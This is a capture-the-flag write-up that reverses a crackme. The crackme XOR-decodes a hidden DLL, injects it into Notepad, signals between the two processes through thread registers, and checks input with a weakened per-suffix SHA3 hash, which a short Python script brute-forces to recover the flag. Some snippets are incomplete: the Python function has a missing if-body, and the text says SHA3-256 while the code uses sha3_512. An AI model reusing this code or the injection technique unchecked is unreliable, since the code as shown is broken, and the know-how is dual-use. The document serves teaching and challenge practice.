A rival pro profit tree planting enterprise has published a reporting solution for business inquiries, thinking it might help them gain reputation to increase sales. Fortuately for us they thought it would be a good idea to outsource the development and i believe it isn’t secure at all. Get me the key.

First impression

The challenge starts with an EXE which opens a somehow modified Notepad requesting for a key. Three failed attempts and you’re out.

A bit of reversing of ParasiteValidator.exe led to the fact that in order to succeed, the processed input memory is compared with the string (which looks like a hash): “C81477CEFC17B7241647696EDD01341E156B6C3073ACF9BD4413168AE5F04A062D7F75C508”.
Some more dynamic debugging shows that the string you input is somehow changed, prior to the memcmp, but it’s not clear exactly where and how the string is changed.

The hidden dll:

One of the startup function reads a resource named “101” from the PE.

.text:0000000140001109       xor     ecx, ecx        ; lpModuleName
.text:000000014000110B       call    cs:GetModuleHandleA ; Indirect Call Near Procedure
.text:0000000140001111       lea     r8, Type        ; "D"
.text:0000000140001118       mov     edx, 101        ; lpName
.text:000000014000111D       mov     rcx, rax        ; hModule
.text:0000000140001120       call    cs:FindResourceA ; Indirect Call Near Procedure

Then this resource is loaded into memory and changed via a XOR function:

.text:0000000140006926                 mov     [rsp+128h+xor_buf], 13h
.text:000000014000692E                 mov     [rsp+128h+xor_buf+1], 37h
.text:0000000140006936                 mov     [rsp+128h+xor_buf+2], 0C0h
.text:000000014000693E                 mov     [rsp+128h+xor_buf+3], 0DEh
.text:0000000140006946                 mov     [rsp+128h+xor_buf+4], 0BAh
.text:000000014000694E                 mov     [rsp+128h+xor_buf+5], 0BEh
.text:0000000140006956                 mov     [rsp+128h+xor_buf+6], 4
.text:000000014000695E                 mov     [rsp+128h+xor_buf+7], 20h
.text:0000000140006966                 mov     [rsp+128h+xor_buf+8], 0FEh
.text:000000014000696E                 mov     [rsp+128h+xor_buf+9], 0EDh
.text:0000000140006976                 mov     [rsp+128h+xor_buf+0Ah], 0B0h
.text:000000014000697E                 mov     [rsp+128h+xor_buf+0Bh], 0Bh
.text:0000000140006986                 mov     [rsp+128h+xor_buf+0Ch], 0CAh
.text:000000014000698E                 mov     [rsp+128h+xor_buf+0Dh], 0FEh

The XORed memory is written to a file named ‘seed’, from which it is loaded as a dll and injected into the Notepad.exe process.

So we extracted the resource, converted the data using the XOR buffer, and saw that we have a valid dll file, which we loaded into our disassembler for reversing.

It’s evident that the 101 dll handles the manipulation of the user input. But how do the processes communicate, and what data manipulation is done?

IPC via Window Message, exceptions and context

Keypress Window message

The main process sends each key press via the SendMessageA(0x102,…) to the Notepad process.
During initialization the dll part of the Notepad process replaces the default window handler by it’s own function. This function intercepts 0x102 messages (key presses), records the characters in an internal memory buffer, and then passes on the message to Notepad for regular processing.

Exception and Context sharing

This is an interesting communication model. The two processes communicate by setting values in the registers of the Notepad process.

In order for the main process to process a message from 101, it calls GetThreadContext() and checks the value of the RCX register (the command register). Valid commands are 0xC1BDCEEE and 0xE8C7B756. It then proceeds to process the command, sets the result in RAX and/or RBX of the Context
, and calls SetThreadContext().

When Notepad wants to send a command to the main process, it sets it’s RCX register and then calls a function which dereferences address 0, thus causing a segmentation fault.

mov     ecx, 0E8C7B756h ;

mov     rbx, 0
sub     rbx, [rbx]      ; Integer Subtraction
retn                    ; Return Near from Procedure

This presumably triggers an exception handler, which passes on the control over to the main process.

Parts of the decompiled code in the Notepad dll, in order to show a bit of the flow between the two processes:

      p_struc2 = get_p_global_struc2();
      remove_key_part_from_string(p_struc2, &input_string); // user has input the string
      send_context_to_other_thread(0xE8C7B756); // notify main process
    while ( v3 != 'õf3N' );          // wait until confirmation received
    perform hash function on user input

    send_context_to_other_thread(0xC1BDCEEE); // notify main that hashing is complete

The corresponding decompiled part in the main process:

     if ( GetThreadContext(hThread, &Context) ) // get context to check command
        command = Context.Rcx;                  // command is in RCX
        if ( command == 0xC1BDCEEE )    // hash has been performed on user input
          context_r8 = Context.R8;      // R8 points to memory containing hashed input
          char_buf = 0;
          for ( i = 0; i < Context.Rdx; ++i ) // read all bytes of memory into one string
            p_address = (i + context_r8);
            if ( !read_one_byte_from_memory(v2, p_address, &char_buf) )
            append_number_to_string(&user_str.external, char_buf); // char to hex
          struc_7::check_is_valid(p_struc_7, &user_str);  // compare with expected result

        else if ( command == 0xE8C7B756 )

The hashing function

Once we understood the flow and found the hashing functions, we managed to identify the constants, indices and digest size as those used by Keccak, and more specifically SHA3-256.

At this point, knowing that the input is hashed using SHA3-256 still doesn’t help us finding the flag as we can’t simply brute force an input in order to achieve the correct SHA3-256 hash.

Further investigation of the hashing function, showed that the implementation is not a straight forward SHA3. Instead the input string is hashed from the end to the beginning, starting with the last character only, then the last two, then last three etc. At each stage only the first character of the hash digest is appended to the output result string.

The decompiled code looks something like this:

    string_len = input_string.internal.len;
    offset_in_string = input_string.internal.len - 1;
    while ( offset_in_string < string_len )
      memset(&hash_context, 0, sizeof(hash_context_t));
        (unsigned __int8 *)&p_input_buffer_data[offset_in_string],
        string_len - offset_in_string);
      first_byte_from_hash = *(_BYTE *)sha3_512_hash_finalize(&hash_context);
      string::append_char(&appended_hash_bytes_result, v9, v2, first_byte_from_hash);

Seeing that this implementation only hashes one new character at a time, thereby weakening it, gave us an idea how to brute force it.

Brute forcing the hash

The first character hashed is the last of the input string, and the first character of the digest must equal the first char in our target hash string. So it can easily be brute forced, by enumerating over all 256 options, and comparing against our known result.
Once we have the last character of the input, we can proceed to brute force the one before last character, together with the last one, and expect to get the second output character as the first byte of the digest.
We repeat this process until receiving all the input bytes.
This algorithm is not promised to be collision free, but we hoped that it will indeed end in a reasonable time and give us results.

The python implementation:

import hashlib

target = bytes.fromhex("C81477CEFC17B7241647696EDD01341E156B6C3073ACF9BD4413168AE5F04A062D7F75C508")

def func(bytes_so_far):
    if len(bytes_so_far) == len(target):

    for i in range(256):
        h = hashlib.sha3_512()
        h.update(bytes([i]) + bytes_so_far)
        x = h.digest()[0]
        if x == target[len(bytes_so_far)]:
            func(bytes([i]) + bytes_so_far)


Running the script gives the following output

b'/\xcd\\xafj\xfb\xec\x1e\xc3<\xcc\xe0\xdcN&\xd6\x04g@\x81qV\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'8\xcd\\xafj\xfb\xec\x1e\xc3<\xcc\xe0\xdcN&\xd6\x04g@\x81qV\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'M\x81\xc7Q\xbc\x1b\x15\x1ai\x12\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\x95\x81\xc7Q\xbc\x1b\x15\x1ai\x12\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b't\x90\x80\xf6\xbc\x1b\x15\x1ai\x12\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'v\x00\xa9\xc5\xdeO\xeaSk\x12\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\x87\x00\xa9\xc5\xdeO\xeaSk\x12\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\xa0\x9b\x83v\xf1l_|\xbc\xb4\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\xb3\x9b\x83v\xf1l_|\xbc\xb4\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\x83\x9f\xd1v\xf1l_|\xbc\xb4\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\x04/^\xc0\x88A\x10\x9b\xbc\xb4\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'R/^\xc0\x88A\x10\x9b\xbc\xb4\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'\xeb/^\xc0\x88A\x10\x9b\xbc\xb4\xce\xedyW\xbd\xf1\xd5:\n\xaa\x88\xc6\x14eW\x0f\x13\xce\x96\xc2\xb4H\xaf;\xb1&}'  <br>
b'7=m;e:\xf2\xd8U\xff\x8c\x16\xc4\xb0G]\xcbC\x18\xb9\xber"\xf9\xc7\xab\xb7\x890O2_4w4y}'  <br>
b'\x91=m;e:\xf2\xd8U\xff\x8c\x16\xc4\xb0G]\xcbC\x18\xb9\xber"\xf9\xc7\xab\xb7\x890O2_4w4y}'  <br>
b'\xb4=m;e:\xf2\xd8U\xff\x8c\x16\xc4\xb0G]\xcbC\x18\xb9\xber"\xf9\xc7\xab\xb7\x890O2_4w4y}'  <br>
<strong>b'flag{4_tr33_a_d4y_k33ps_th3_cO2_4w4y}'</strong>  <br>
b'plag{4_tr33_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'=\xc8\xabg{4_tr33_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'M\xc3\xdc\x836A\xea\x9e;\xa43_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'M2(H\xcb\x1cq\x8c\xde\xa43_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'\x87i(H\xcb\x1cq\x8c\xde\xa43_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'\x9f\xab(H\xcb\x1cq\x8c\xde\xa43_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'\xdc\xab(H\xcb\x1cq\x8c\xde\xa43_a_d4y_k33ps_th3_cO2_4w4y}'  <br>
b'\xab\x9d\x0f\x84{\x12\xaf}\xceP\xb9 ~_d4y_k33ps_th3_cO2_4w4y}'  <br>
b"\xe8'\xe2w\xd3\x12\xaf}\xceP\xb9 ~_d4y_k33ps_th3_cO2_4w4y}"  

python3 0.24s user 0.00s system 99% cpu 0.249 total

It’s quite easy to see which of the inputs is the requested flag…